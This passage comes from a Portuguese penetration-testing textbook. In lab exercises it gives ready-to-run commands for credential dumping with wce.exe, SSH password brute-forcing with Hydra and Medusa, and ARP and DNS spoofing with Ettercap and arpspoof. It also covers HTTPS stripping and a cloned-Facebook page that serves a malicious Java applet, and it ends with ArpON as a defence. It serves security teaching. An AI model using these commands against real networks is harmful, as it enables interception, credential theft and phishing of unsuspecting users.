para além da máquina local e ganhando</p><p>acesso ao servidor. A técnica pass-the-hash é válida para</p><p>versões antigas do Windows (como o Windows XP e</p><p>Windows 2003), por esse motivo essa técnica não será</p><p>explorada no livro, mas há excelentes artigos e tutoriais</p><p>na internet que exploram melhor essa técnica.</p><p>A versão mais moderna dessa técnica é o Windows</p><p>Credentials Editor, que possibilita obter o texto claro do</p><p>hash de senhas, e, por fim, conseguir a senha. A</p><p>ferramenta wce.exe obtém os hashs de Windows XP até</p><p>Windows 2008 e a sua utilização é extremamente</p><p>simples:</p><p>Obtenha a ferramenta em</p><p>http://www.ampliasecurity.com/research.html.</p><p>Execute o cmd.exe como administrador (Figura 11.1).</p><p>C:\ wce.exe -w</p><p>Como resposta, o wce.exe extrai a senha em claro,</p><p>independentemente do tamanho.</p><p>WCW v1.41beta (Windows Credentials Editor) -</p><p>Hernan Ochoa (hernan@ampliasecurity.com)</p><p>Use -h for help.</p><p>win7\PC:daniel@henrique@negri@moreno</p><p>PC$\WORKGROUP:</p><p>Figura 11.1 – Execute o shell como administrador.</p><p>11.2 Escalonamento de privilégios</p><p>online</p><p>Nesse método, o auditor deverá testar as senhas de</p><p>forma online, ou seja, no momento em que um serviço</p><p>estiver rodando, será feita a tentativa de acesso ao</p><p>sistema até que a senha seja encontrada. A grande</p><p>desvantagem desse método é que, dependendo do</p><p>sistema auditado, poderá haver mecanismos para</p><p>bloqueio de tentativas de quebra de senha. A grande</p><p>vantagem é que não é necessário nenhum tipo de pré-</p><p>acesso ao sistema (como login/senha de qualquer</p><p>usuário) ou até mesmo o hash do arquivo de senha.</p><p>11.2.1 Cewl</p><p>Permite fazer a captura de palavras de websites para</p><p>elaboração de wordlists.</p><p>root@kali# cewl 192.168.1.102 --write /root/Desktop/lista_cewl -e</p><p>11.2.2 xHydra</p><p>Ferramenta para quebra de senhas online. Suporta</p><p>diversos tipos de protocolos, como HTTP, FTP, POP3, SMB</p><p>etc. Funciona testando nomes deusuário e senha, caso as</p><p>credenciais sejam encontradas, o xHydra exibe uma</p><p>alerta.</p><p>11.2.2.1 Laboratório xHydra</p><p>root@debian# service ssh start</p><p>root@kali# xhydra</p><p>A figura 11.2 mostra a tela inicial do xHydra.</p><p>Figura 11.2 – Tela inicial do xHydra.</p><p>Na aba Target, o alvo pode ser selecionado.</p><p>Pode ser selecionado tanto Single Target, para realizar</p><p>testes de quebra de senha contra um único alvo, ou</p><p>Target List, contendo uma lista de alvos a serem</p><p>testados. Também é selecionada a porta em que será</p><p>realizado o processo de quebra de senhas (a porta</p><p>padrão do SSH é a 22) e o protocolo usado (SSH).</p><p>A opção Be verbose exibe o resultado detalhado e Show</p><p>Attempts mostra as tentativas de conexões falhas.</p><p>Na aba Passwords é possível configurar o xHydra para</p><p>tentar um único nome de usuário com a opção Username</p><p>ou uma lista deles por meio da opção Username List,</p><p>conforme mostra a figura 11.3.</p><p>Ainda é possível configurar o Hydra para tentar uma</p><p>única senha por meio da opção Password ou uma wordlist</p><p>por meio da opção Password List.</p><p>Figura 11.3 – Tela de seleção password.</p><p>Como primeiro teste, escolha a opção Username (com o</p><p>nome root) ePassword (digite a senha do root).</p><p>Após esse primeiro laboratório, encorajo o leitor a utilizar</p><p>uma lista de palavras por meio da opção Password List.</p><p>Inicie o ataque na aba Start, conforme mostra a figura</p><p>11.4.</p><p>Figura 11.4 – A quebra de senhas foi realizada com</p><p>sucesso.</p><p>Nota: desafio o leitor a inserir novos usuários no sistema Debian e</p><p>realizar o procedimento com o xHydra para cada um deles.</p><p>11.2.3 Hydra</p><p>O xHydra nada mais é do que a interface gráfica do</p><p>Hydra. O Hydra é executado via terminal e tem as</p><p>mesmas funcionalidades da sua interface gráfica</p><p>(xHydra).</p><p>hydra [opções] host módulo</p><p>Opções:</p><p>-l usuário Nome de usuário.</p><p>-L lista Lista de usuários.</p><p>-p senha Senha.</p><p>-P</p><p>dicsenhas</p><p>Lista de senhas.</p><p>-S Habilita SSL.</p><p>Caso o serviço não esteja na sua porta padrão, utilize essa</p><p>-s porta opção.</p><p>-e valor O valor pode assumir n (login sem senha), s (usar o nome</p><p>de login como senha) ou r (login inverso como senha).</p><p>host Nome do host.</p><p>módulo Módulo que se deseja usar.</p><p>Exemplos:</p><p>root@kali# hydra -l root -p toor ssh://192.168.1.102</p><p>root@kali# hydra -l root -p toor 192.168.1.102 ssh</p><p>11.2.4 Medusa</p><p>Ferramenta semelhante ao Hydra.</p><p>Opções:</p><p>-h IP Endereço IP.</p><p>-H dic_IP Lista com os endereços IPs a serem testados.</p><p>-u usuário Usuário.</p><p>-U</p><p>dicusuário</p><p>Lista de usuários.</p><p>-p senha Senha.</p><p>-P</p><p>dicsenha</p><p>Lista de senhas.</p><p>-M módulo Nome do módulo sem .mod (encontrado em</p><p>/usr/lib/medusa/modules) ou [TAB].</p><p>-m</p><p>parâmetro</p><p>Usado opcionalmente com –M para acertar detalhes do</p><p>módulo.</p><p>-q Usado juntamente com –M para ajuda do módulo.</p><p>-e Opções extras.</p><p>-s Habilita SSL.</p><p>-n porta Caso o serviço não esteja na sua porta padrão, utilize essa</p><p>opção.</p><p>Exemplo de uso:</p><p>root@kali# medusa –h 192.168.1.102 –u root –p toor –M ssh</p><p>11.3 Sniffers</p><p>Sniffers são softwares usados na captura do tráfego de</p><p>dados da rede para monitorar e interceptar os dados que</p><p>passam pelo computador. Podem ser do tipo:</p><p>• Local – Sniffers locais interceptam os dados somente</p><p>destinados à máquina local e não conseguem fazer a</p><p>captura de dados remotos. Exemplos de sniffers locais</p><p>são o tcpdump e o Wireshark.</p><p>• Remoto – Sniffers remotos interceptam o tráfego de</p><p>dados remotamente. Ou seja, conseguem interceptar</p><p>o tráfego de dados não destinado somente à máquina</p><p>local, e sim a todas as máquinas da rede (somente</p><p>LAN). Um exemplo de sniffer remoto é o Ettercap ou,</p><p>até mesmo, o tcpdump, se a rede estiver configurada</p><p>com um hub.</p><p>• Ativo – Sniffers ativos interceptam o tráfego de</p><p>dados, mas para isso devem modificar protocolos de</p><p>rede. Normalmente alteram o protocolo ARP. Um</p><p>exemplo de sniffer ativo é o Ettercap.</p><p>• Passivo – Sniffers passivos interceptam o tráfego de</p><p>dados de maneira passiva, sem realizar nenhuma</p><p>alteração em protocolos, apenas com a interface de</p><p>rede escutando em modo promíscuo. Exemplos de</p><p>sniffers passivos são o tcpdump e o Wireshark.</p><p>Sniffers de rede conseguem realizar a captura de dados</p><p>pela capacidade de trocar a interface de rede pelo modo</p><p>promíscuo. Uma interface de rede pode apresentar o</p><p>modo tradicional e o modo promíscuo.</p><p>• Modo tradicional – Quando uma interface</p><p>apresenta-se no modo tradicional, não consegue</p><p>efetuar a captura do tráfego de dados.</p><p>• Modo promíscuo – Quando uma interface se</p><p>apresenta no modo promíscuo, consegue realizar a</p><p>captura do tráfego de dados. Em uma rede com hub, o</p><p>modo promíscuo captura todos os dados da rede,</p><p>inclusive dados não destinados à própria máquina.</p><p>11.3.1 Sniffer tcpdump</p><p>O tcpdump é um sniffer de rede que realiza a captura dos</p><p>pacotes de rede por meio de filtros e apresenta diversas</p><p>opções de filtragem. Por exemplo, pode-se aplicar um</p><p>filtro para capturar somente dados HTTP. Caso executado</p><p>sem filtros, o tcpdump vai mostrar todos os pacotes</p><p>capturados.</p><p>tcpdump [opções] [filtro]</p><p>Opções:</p><p>-i iface Escolhe a interface.</p><p>-n Não resolve IP para hostname.</p><p>-nn Não resolve IP para hostname nem nomes de portas.</p><p>-v Modo detalhado. Aumenta com o uso de –vv ou -vvv.</p><p>-X Imprime os cabeçalhos dos pacotes em hexa e em ASCII.</p><p>-s num Define o tamanho de bytes a serem capturados. Por padrão é</p><p>definido um tamanho de 96 bytes. Caso o pacote seja maior, é</p><p>recomendado o uso do 0, que captura o pacote completo.</p><p>-c num Limita o número de pacotes capturados para num.</p><p>-q Modo quiet. Não exibe informações detalhadas.</p><p>Imprime o número de sequência.</p><p>-S</p><p>-w</p><p>arquivo</p><p>Grava a saída do tcpdump em um arquivo.</p><p>Filtro:</p><p>and Operador lógico E.</p><p>or Operador lógico OU.</p><p>host host1 Captura todos os pacotes de hostname host1.</p><p>ip src ip_origem IP de origem.</p><p>ip dst ip_destino IP de destino.</p><p>port porta Porta.</p><p>src port porta Porta de origem.</p><p>dst port porta Porta de destino.</p><p>Exemplos:</p><p>1. Captura simples. Captura qualquer dado com destino</p><p>à máquina local</p><p>root@kali# tcpdump –n</p><p>2. Imprimir detalhes do pacote HTTP</p><p>root@kali# tcpdump –nqX</p><p>3. Tráfego com destino ao Debian</p><p>root@kali# tcpdump –nqX ip dst 192.168.1.102</p><p>4. Tráfego com destino ao Debian e origem dos dados</p><p>como sendo o IP 192.168.1.100</p><p>root@kali# tcpdump –nqX ip dst 192.168.1.102 and ip src</p><p>192.168.1.100</p><p>5. Tráfego com destino ao IP 192.168.1.102 e porta 22</p><p>(SSH)</p><p>root@kali# tcpdump –nqX ip dst 192.168.1.102 and port 22</p><p>root@kali# ssh 192.168.1.102</p><p>6. Tráfego com destino ao IP 192.168.1.101 e porta 21</p><p>(FTP)</p><p>root@kali# tcpdump –nqX ip dst 192.168.1.101 and tcp port 21</p><p>7. Tráfego destinado ao host (não importa se o host é</p><p>origem ou destino)</p><p>root@kali# tcpdump –nqX host 192.168.1.102</p><p>8. Captura somente um pacote</p><p>root@kali# tcpdump –nqX host 192.168.1.102 -c 1</p><p>9. Tráfego destinado ao host 192.168.1.102 e porta de</p><p>origem 80</p><p>root@kali# tcpdump –nqX host 192.168.1.102 and src port 80</p><p>10. Tráfego destinado ao host 192.168.1.102 e porta de</p><p>destino 80</p><p>root@kali# tcpdump –nqX host 192.168.1.102 and dst port 80</p><p>11. Pacote ICMP</p><p>root@kali# tcpdump –nnqX -c 2 icmp</p><p>11.3.2 Sniffer Wireshark</p><p>Sniffer para monitoramento de pacotes. Consegue</p><p>capturar e decodificar vários tipos de protocolos, não</p><p>apenas o TCP/IP. Pode ser utilizado com linha de comando</p><p>(tshark) ou com interface gráfica (Wireshark).</p><p>11.3.2.1 Laboratório Wireshark</p><p>O Wireshark possibilita a utilização de filtros, que filtram</p><p>o resultado de acordo com o parâmetro desejado. Alguns</p><p>filtros que serão utilizados para o laboratório:</p><p>HTTP Protocolo HTTP</p><p>ICMP Protocolo ICMP</p><p>TCP Protocolo TCP</p><p>ip.dst== IP de destino</p><p>ip.src== IP de origem</p><p>tcp.dstport== Porta de destino</p><p>tcp.srcport== Porta de origem</p><p>and Operador lógico E</p><p>or Operador lógico OU</p><p>Inicie o Wireshark:</p><p>root@kali# wireshark</p><p>Selecione a interface que se deseja para realizar a</p><p>captura dos dados, conforme mostra a figura 11.5.</p><p>Figura 11.5 – Selecione a interface em que o Wireshark</p><p>fará a captura remota dos dados.</p><p>O botão vermelho (botão à direita) indica para o</p><p>Wireshark parar a captura.</p><p>O botão verde (botão à esquerda) indica para o</p><p>Wireshark iniciar uma nova captura.</p><p>Os laboratórios serão efetuados sobre a aba Filter,</p><p>conforme indica a figura 11.6.</p><p>Figura 11.6 – Tela do Wireshark.</p><p>Exemplos:</p><p>1. Capturando pacotes ICMP</p><p>root@kali# ping 192.168.1.102</p><p>No Wireshark:</p><p>Filter: icmp</p><p>2. Capturando pacotes ARP Request</p><p>root@kali# arping 192.168.1.102</p><p>No Wireshark:</p><p>Filter: arp</p><p>3. Capturando pacotes SYN com destino à porta 22</p><p>root@kali# hping3 -S -p 22 192.168.1.102</p><p>No Wireshark:</p><p>Filter: ip.dst==192.168.1.102 and tcp.dstport==22</p><p>4. Pacotes UDP com destino à porta 53</p><p>root@kali# hping3 -2 -p 53 192.168.1.102</p><p>No Wireshark:</p><p>Filter: ip.dst==192.168.1.102 and udp.dstport==53</p><p>5. Pacotes com origem falsa</p><p>root@kali# hping3 -S -p 80 --spoof 1.2.3.4 192.168.1.1</p><p>No Wireshark:</p><p>Filter: ip.dst==192.168.1.1 and ip.src==1.2.3.4</p><p>6. Pacotes com destino aleatório</p><p>root@kali# hping3 -S -p 80 --rand-dest x.x.x.x -I eth0</p><p>root@kali# hping3 -S -p 80 --rand-dest 1.1.1.x -I eth0</p><p>No Wireshark não aplique nenhum filtro.</p><p>7. Pacotes com destino ao IP 192.168.1.102 e porta de</p><p>origem 666</p><p>root@kali# hping3 -S -p 80 -s 666 192.168.1.102</p><p>No Wireshark:</p><p>Filter: ip.dst==192.168.1.102 and tcp.srcport==666</p><p>8. Capturando pacotes HTTP</p><p>Acesse uma página HTTP</p><p>No Wireshark:</p><p>Filter: http</p><p>9. Capturando conexão FTP</p><p>Inicie um servidor FTP no Windows</p><p>root@kali# ftp 192.168.1.101</p><p>No Wireshark:</p><p>Filter: ftp</p><p>11.4 Ataques Man-in-the-Middle</p><p>(MitM)</p><p>Ataque Man-in-the-Middle provavelmente é o tipo de</p><p>ataque mais potente contra uma rede. Nesse tipo de</p><p>ataque, o atacante ficará na escuta da rede, ou seja,</p><p>interceptará a conexão entre o host A e o host B, ficando</p><p>no meio da conexão.</p><p>Por estar assumindo uma função de intermediário, o</p><p>Man-in-the-Middle pode efetuar ataques de captura,</p><p>leitura e redirecionamento do tráfego.</p><p>O tráfego normal ocorre de uma extremidade até outra,</p><p>conforme mostra a figura 11.7.</p><p>Figura 11.7 – Tráfego normal de dados.</p><p>Em um ataque Man-in-the-Middle, o tráfego de dados é</p><p>redirecionado para a máquina do atacante, conforme</p><p>mostra a figura 11.8.</p><p>Figura 11.8 – Tráfego de dados em um ataque MitM.</p><p>11.4.1 ARP Spoofing</p><p>Um dos maiores problemas de redes é o uso de sniffers.</p><p>Como estudado anteriormente, o sniffer usado</p><p>(Wireshark) possibilita a captura do tráfego local. Caso</p><p>seja monitorada uma rede com hub para gerenciamento</p><p>do tráfego, o Wireshark faz a captura do tráfego de todas</p><p>as máquinas da rede.</p><p>Porém o atacante encontrará problemas caso a rede</p><p>apresente um switch. Nesse tipo de rede (ao contrário do</p><p>hub – que faz o encaminhamento do tráfego de dados</p><p>para todas as máquinas da rede), o tráfego de dados é</p><p>redirecionado somente para o host correto. Com isso,</p><p>ainda que o atacante tenha sua interface em modo</p><p>promíscuo, essa medida será pouco efetiva, pois, mesmo</p><p>que o modo promíscuo capture o tráfego de dados das</p><p>máquinas da rede, o switch simplesmente não envia</p><p>dados da rede para o atacante.</p><p>Contudo, esse mecanismo de defesa pode ser burlado</p><p>com técnicas de ARP Poisoning, que consistem no</p><p>forjamento de pacotes ARP nas duas direções da</p><p>comunicação.</p><p>Em um ataque ARP Spoofing, o atacante C manipula o</p><p>pacote ARP Reply dizendo ao host A que o endereço IP de</p><p>B corresponde ao endereço MAC de C; e manipula o</p><p>pacote ARP Reply dizendo ao host B que o endereço IP de</p><p>A corresponde ao endereço MAC de C.</p><p>Exemplo:</p><p>IPxMAC originais</p><p>Host A</p><p>IP 192.168.1.2 MAC AA:AA:AA:AA:AA:AA</p><p>Host B</p><p>IP 192.168.1.1 MAC BB:BB:BB:BB:BB:BB</p><p>Host C</p><p>IP 192.168.1.3 MAC CC:CC:CC:CC:CC:CC</p><p>Antes do envenenamento</p><p>Tabela ARP (Host A)</p><p>192.168.1.1 BB:BB:BB:BB:BB:BB</p><p>192.168.1.3 CC:CC:CC:CC:CC:CC</p><p>Após envenenamento</p><p>Tabela ARP (Host A)</p><p>192.168.1.1 CC:CC:CC:CC:CC:CC</p><p>192.168.1.3 CC:CC:CC:CC:CC:CC</p><p>11.4.1.1 Laboratório ARP Spoofing: Ettercap</p><p>Observe a tabela ARP do Windows antes do</p><p>envenenamento, por meio do comando arp -a.</p><p>C:\ arp -a</p><p>Interface: 192.168.1.101 --- 0xb</p><p>Endereço InternetEndereço físico Tipo</p><p>192.168.1.174-ea-3a-e1-e8-66 dinâmico</p><p>192.168.1.10000-23-15-73-86-6c dinâmico</p><p>192.168.1.1029a-e0-3d-8f-23-a1 dinâmico</p><p>192.168.1.255ff-ff-ff-ff-ff-ff estático</p><p>Endereços IP (endereço internet) com endereços MAC</p><p>(endereço físico) diferentes para cada máquina.</p><p>• Habilite o roteamento de pacotes (IP Forward):</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>• Altere o arquivo /etc/ettercap/etter.conf:</p><p>• Modifique a seguinte linha:</p><p>[privs]</p><p>ec_uid = 65534 #nobody is the default</p><p>ec_gid = 65534 #nobody is the default</p><p>Para:</p><p>[privs]</p><p>ec_uid = 0#nobody is the default</p><p>ec_gid = 0#nobody is the default</p><p>• Descomente as linhas:</p><p># IF you use iptables:</p><p>redir_command_on = "iptables –t nat –A PREROUTING -i %iface –p tcp --</p><p>dport %port –j REDIRECT --to-port %rport"</p><p>redir_command_off = "iptables –t nat –D PREROUTING -i %iface –p tcp --</p><p>dport %port –j REDIRECT --to-port %rport"</p><p>• Inicialize o Ettercap:</p><p>root@kali# ettercap -TqM arp // //</p><p>O Ettercap será iniciado em modo texto (opção -T) e</p><p>listará os dados em forma silenciosa (opção -q), não</p><p>exibindo tudo o que captura, apenas o essencial, ou seja,</p><p>apenas as senhas. E, por último, são selecionados quais</p><p>os hosts que sofrerão o envenenamento ARP. No</p><p>exemplo, // // indica todos os hosts da rede. Então</p><p>faremos o envenenamento ARP para todas as máquinas</p><p>da LAN. Mas poderíamos selecionar, por exemplo, o</p><p>envenenamento apenas entre os hosts 192.168.1.110 e</p><p>192.168.1.120 trocando // // por /192.168.1.110/</p><p>/192.168.1.1.120/. Poderíamos também selecionar o</p><p>envenenamento entre todos os hosts e o host</p><p>192.168.1.110 por meio de // /192.168.1.110/.</p><p>Observe</p><p>a tabela ARP do Windows após o</p><p>envenenamento, por meio do comando arp -a.</p><p>C:\ arp -a</p><p>Interface: 192.168.1.101 --- 0xb</p><p>Endereço Internet Endereço físico Tipo</p><p>192.168.1.1 00-23-15-73-86-6c dinâmico</p><p>192.168.1.100 00-23-15-73-86-6c dinâmico</p><p>192.168.1.102 00-23-15-73-86-6c dinâmico</p><p>192.168.1.255 ff-ff-ff-ff-ff-ff estático</p><p>Todos os endereços físicos (com exceção do endereço de</p><p>broadcast 192.168.1.255) foram alterados para o</p><p>endereço MAC do atacante.</p><p>Acesse qualquer site que tenha HTTP. No exemplo, vou</p><p>acessar o endereço http://192.168.1.1.</p><p>O Ettercap realiza a captura remota do tráfego de dados.</p><p>Se, por exemplo, um host envenenado acessa um site</p><p>HTTP e transmite as suas senhas em claro pela rede, o</p><p>Ettercap realiza a captura do usuário e senha.</p><p>ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team</p><p>Listening on:</p><p>wlan0 -> 00:23:15:73:86:6C</p><p>192.168.1.100/255.255.255.0</p><p>fe80::223:15ff:fe73:866c/64</p><p>Privileges dropped to UID 0 GID 0...</p><p>33 plugins</p><p>42 protocol dissectors</p><p>57 ports monitored</p><p>16074 mac vendor fingerprint</p><p>1766 tcp OS fingerprint</p><p>2182 known services</p><p>Randomizing 255 hosts for scanning...</p><p>Scanning the whole netmask for 255 hosts...</p><p>*</p><p>|============================================</p><p>======>| 100.00 %</p><p>5 hosts added to the hosts list...</p><p>ARP poisoning victims:</p><p>GROUP 1 : ANY (all the hosts in the list)</p><p>GROUP 2 : ANY (all the hosts in the list)</p><p>Starting Unified sniffing...</p><p>Text only Interface activated...</p><p>Hit 'h' for inline help</p><p>HTTP : 192.168.1.1:80 -> USER: adminPASS: adminINFO:</p><p>192.168.1.1/</p><p>Sai do Ettercap com a tecla q.</p><p>O ARP Spoofing também pode ser realizado por meio do</p><p>utilitário Arpspoof e do Nping.</p><p>11.4.2 Arpspoof</p><p>O Arpspoof é um programa desenvolvido pelo Dug Song</p><p>e é bem eficaz na realização de ataques de ARP</p><p>Spoofing. Possui o mesmo funcionamento do Ettercap,</p><p>porém, para utilizarmos essa ferramenta, o</p><p>envenenamento ARP deve ser realizado manualmente.</p><p>Então, por exemplo, vamos envenenar o host</p><p>192.168.1.110:</p><p>arpspoof -i interface -t alvo host</p><p>Opções:</p><p>-i Caso a interface para o ARP Spoofing não seja a eth0, selecione-a</p><p>com essa opção.</p><p>-t</p><p>alvo</p><p>Selecione o alvo a ser envenenado (ponto 1).</p><p>host Selecione o host a ser envenenado (ponto 2).</p><p>Para realizar o ataque de ARP Spoofing, primeiro habilite</p><p>o roteamento de pacotes (IP Forward):</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>Para realizar o envenenamento, por exemplo, entre o</p><p>host 192.168.1.110 e o roteador 192.168.1.1:</p><p>root@kali# arpspoof -t 192.168.1.1 192.168.1.110</p><p>Devemos capturar os pacotes de volta entre o roteador</p><p>192.168.1.1 e o host 192.168.1.110:</p><p>root@kali# arpspoof -t 192.168.1.110 192.168.1.1</p><p>Inicie a captura com o Wireshark:</p><p>root@kali# wireshark</p><p>Acesse um site HTTP por meio do host 192.168.1.110 e</p><p>veja o resultado no Wireshark.</p><p>11.4.3 Nping</p><p>O utilitário Nping é excelente para manipulação de</p><p>pacotes. Com o Nping é possível criar requisições ARP</p><p>Reply envenenadas para o host.</p><p>Para realizar o ataque de ARP Spoofing com o Nping,</p><p>primeiro habilite o roteamento de pacotes (IP Forward).</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>Da mesma forma que o Arpspoof, devemos envenenar</p><p>ambos os hosts (ponto 1 e 2):</p><p>root@kali# nping --arp-type arp-reply --source-ip 192.168.1.1</p><p>192.168.1.110 -c 0</p><p>root@kali# nping --arp-type arp-reply --source-ip 192.168.1.110</p><p>192.168.1.1 -c 0</p><p>11.4.4 DNS Spoofing</p><p>O DNS Spoofing consiste em redirecionar o tráfego de um</p><p>DNS para outro DNS. Por exemplo, quando o cliente</p><p>acessa site.com.br (IP X.X.X.X), ele é redirecionado ao</p><p>sitefalso.com.br (IP Y.Y.Y.Y).</p><p>• Inicie o servidor Apache:</p><p>root@kali# service apache2 start</p><p>• Altere o arquivo /etc/ettercap/etter.dns:</p><p>*.com A 192.168.1.100</p><p>*.com.br A 192.168.1.100</p><p>• Inicie o Ettercap:</p><p>root@kali# ettercap –TqM arp // // -P dns_spoof</p><p>• Acesse qualquer site .com, .com.br.</p><p>11.4.5 Dnsspoof</p><p>O utilitário Dnsspoof pode ser utilizado em conjunto com</p><p>o programa Arpspoof para realizar um ataque de ARP</p><p>Spoofing e DNS Spoofing de forma manual.</p><p>Por exemplo, vamos realizar um ataque de DNS Spoofing:</p><p>dnsspoof -i interface -f arquivo</p><p>Opções:</p><p>-i</p><p>interface</p><p>Caso a interface para o DNS Spoofing não seja a eth0,</p><p>selecione-a com essa opção.</p><p>-f</p><p>arquivo</p><p>Selecione o arquivo contendo o DNS Spoofing.</p><p>Por exemplo, vamos realizar um ataque de ARP Spoofing</p><p>e DNS Spoofing:</p><p>root@kali# arpspoof-t 192.168.1.1 192.168.1.110</p><p>root@kali# arpspoof-t 192.168.1.110 192.168.1.1</p><p>Altere o arquivo /root/dns.spoof para que o host</p><p>envenenado 192.168.1.110 seja redirecionado para o IP</p><p>192.168.1.1:</p><p>192.168.1.1*.com</p><p>192.168.1.1*.com.br</p><p>Nota: indica a tecla TAB, e não o texto .</p><p>Realize o ataque de DNS Spoofing:</p><p>root@kali# dnsspoof –f /root/dns.spoof</p><p>Com o IP 192.168.1.110 (IP com a tabela ARP</p><p>envenenado), acesse um site .com.br.</p><p>11.4.6 SSLStrip</p><p>O Ettercap é um excelente sniffer, porém, quando a</p><p>conexão é criptografada – como em conexões HTTPS –, o</p><p>Ettercap captura os dados, mas, como estes estão</p><p>criptografados, tornam-se ilegíveis para os olhos</p><p>humanos, e o Ettercap não mostra na tela esses dados</p><p>imcompreensíveis. Para contornar esse problema, nós</p><p>devemos utilizar o SSLStrip.</p><p>SSLStrip é um programa que possibilita a quebra do</p><p>protocolo HTTPS. Dessa forma, o Ettercap captura os</p><p>dados e o SSLStrip “quebra” o HTTPS para HTTP. Assim, a</p><p>leitura de tráfego HTTPS pelo Ettercap é possível.</p><p>11.4.6.1 Laboratório SSLStrip</p><p>• Habilite o roteamento de pacotes (IP forward):</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>• Adicione a seguinte regra no iptables:</p><p>root@kali# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j</p><p>REDIRECT --to-port 8001</p><p>• Inicie o SSLStrip:</p><p>root@kali# sslstrip -l 8001</p><p>• Inicie o Ettercap:</p><p>root@kali# ettercap -TqM arp // //</p><p>Acesse um site que tenha HTTPS. Será pedido que o</p><p>usuário instale um certificado digital. Esse é o certificado</p><p>do SSLStrip; o usuário instalando-o será possível realizar</p><p>a captura da senha.</p><p>Observe também que o site que antes tinha o HTTPS</p><p>agora é HTTP. A conexão segura via HTTPS foi quebrada</p><p>pelo SSLStrip.</p><p>11.4.7 SSLSplit</p><p>De forma análoga ao SSLStrip, o SSLSplit realiza a</p><p>interceptação de certificados digitais, inserindo um</p><p>certificado, e, caso seja aceito pelo usuário, possibilita</p><p>“quebrarmos” o certificado digital verdadeiro.</p><p>Sintaxe de uso:</p><p>sslsplit opções proto endereço porta</p><p>Opções:</p><p>-D Executa o SSLSplit em backgroud.</p><p>-l</p><p>arquivo</p><p>Arquivo de log para registrar as conexões.</p><p>-j</p><p>diretorio</p><p>Diretório do chroot.</p><p>-S</p><p>diretório</p><p>Diretório onde são armazenados os arquivos de conexão para</p><p>cada site.</p><p>-k ca.key Chave privada do certificado digital.</p><p>-c ca.crt Certificado público.</p><p>proto Protocolo a ser utilizado. Por exemplo, o SSL.</p><p>endereço Endereço que o SSLSplit vai escutar (.0.0.0.0 indica todos os</p><p>endereços locais).</p><p>porta Porta.</p><p>Exemplo:</p><p>root@kali# sslsplit –l connections.log –j /tmp/sslsplit/ -S logdir -k ca.key -c</p><p>ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080</p><p>11.4.8 Ataque SSLStrip, DNS Spoofing e Java</p><p>Applet</p><p>Uma combinação de ataques pode ser efetuada por meio</p><p>do SSLStrip com o DNS Spoofing.</p><p>Por exemplo: caso o usuário acesse o site do Facebook,</p><p>será redirecionado para um site falso (devido ao DNS</p><p>Spoofing e o Ettercarp) e, nesse site falso</p><p>(aparentemente 100% legítimo, incluindo o link de</p><p>acesso), o usuário será presenteado com um applet Java</p><p>falso, possibilitando acesso meterpreter à sua máquina.</p><p>Primeiro, configure o SET para gerar um applet Java</p><p>clonando um site qualquer. Por exemplo, vou clonar o site</p><p>do Facebook. Mais detalhes sobre o ataque de Applet</p><p>Java pode ser consultado no capítulo 10, “Engenharia</p><p>social”.</p><p>• Uma vez com o site clonado, inicie o ataque com o</p><p>SSLStrip:</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>root@kali# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j</p><p>REDIRECT --to-port 8001</p><p>root@kali# sslstrip -l 8001</p><p>• Altere o arquivo /etc/ettercap/etter.dns:</p><p>www.facebook.com</p><p>A192.168.1.100</p><p>facebook.comA192.168.1.100</p><p>• Realize o DNS Spoofing com o Ettercap:</p><p>root@kali# ettercap –TqM arp // // -P dns_spoof</p><p>Na máquina Windows, acesse o site</p><p>http://www.facebook.com. Nesse momento, a vítima, ao</p><p>entrar no site do Facebook, será presenteada com um</p><p>aplicativo Java malicioso.</p><p>O interessante de se combinar esses três ataques é que,</p><p>mesmo que as versões mais novas do Java bloqueiem</p><p>applets maliciosos, o aplicativo parece realmente vir do</p><p>site http://ww.facebook.com, passando uma maior</p><p>credibilidade ao ataque (Figura 11.9).</p><p>Figura 11.9 – O usuário acessa o site do Facebook, mas é</p><p>redirecionado para o nosso site clonado com um applet</p><p>Java malicioso.</p><p>Desbloqueie applets vindos de http://www.facebook.com,</p><p>conforme mostra a figura 11.10.</p><p>Figura 11.10 – O usuário deve desbloquear applets Java.</p><p>Acesse novamente http://www.facebook.com.</p><p>11.4.9 Bloqueando o Arp Spoofing</p><p>Há diversas medidas que podem ser utilizadas para</p><p>bloqueio do ARP Spoofing, como a adoção de VPNs,</p><p>programas para monitoramento da tabela ARP etc.</p><p>Para o Linux, há um excelente programa chamado</p><p>ArpON.</p><p>Instale o programa ArpON:</p><p>root@debian# apt-get install arpon</p><p>É possível configurar o ArpON de duas formas. A primeira</p><p>forma é configurá-lo pelo SARPI. É necessário que o leitor</p><p>insira cada endereço IP da rede vinculado juntamente</p><p>com o seu endereço MAC. O processo é estático.</p><p>A segunda forma (mais simples) é pelo DARPI. O próprio</p><p>ArpON faz a leitura e associação de cada endereço IP da</p><p>rede com o seu endereço MAC. O processo é dinâmico.</p><p>Em qualquer um dos modos, se houver alterações na</p><p>tabela ARP, o ArpON exibirá essa alteração como alerta</p><p>no arquivo de log e não fará mudanças na tabela ARP, ou</p><p>seja, bloqueará o MitM.</p><p>Vamos configurá-lo pelo SARPI.</p><p>• Edite o arquivo de configuração do arpon</p><p>/etc/default/arpon:</p><p># For SARPI uncomment the following line (please edit also</p><p>/etc/arpon.sarpi)</p><p>DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -s"</p><p># For DARPI uncomment the following line</p><p>#DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"</p><p>RUN="yes"</p><p>• Edite o arquivo /etc/arpon.sarpi:</p><p>#Defina estaticamente os endereços IPs e o seu endereço MAC. Estou</p><p>inserindo apenas o MAC do meu roteador, o correto é inserir a relação</p><p>IPxMAC da rede inteira.</p><p>192.168.1.174:ea:3a:e1:e8:66</p><p>• Inicie o ArpON:</p><p>root@debian# service arpon start</p><p>Caso alguma tentativa de mudança na tabela ARP seja</p><p>realizada (como um ataque MitM), acompanhe os logs</p><p>em /var/log/arpon/arpon.log.</p><p>root@debian# tail -f /var/log/arpon/arpon.log</p><p>1 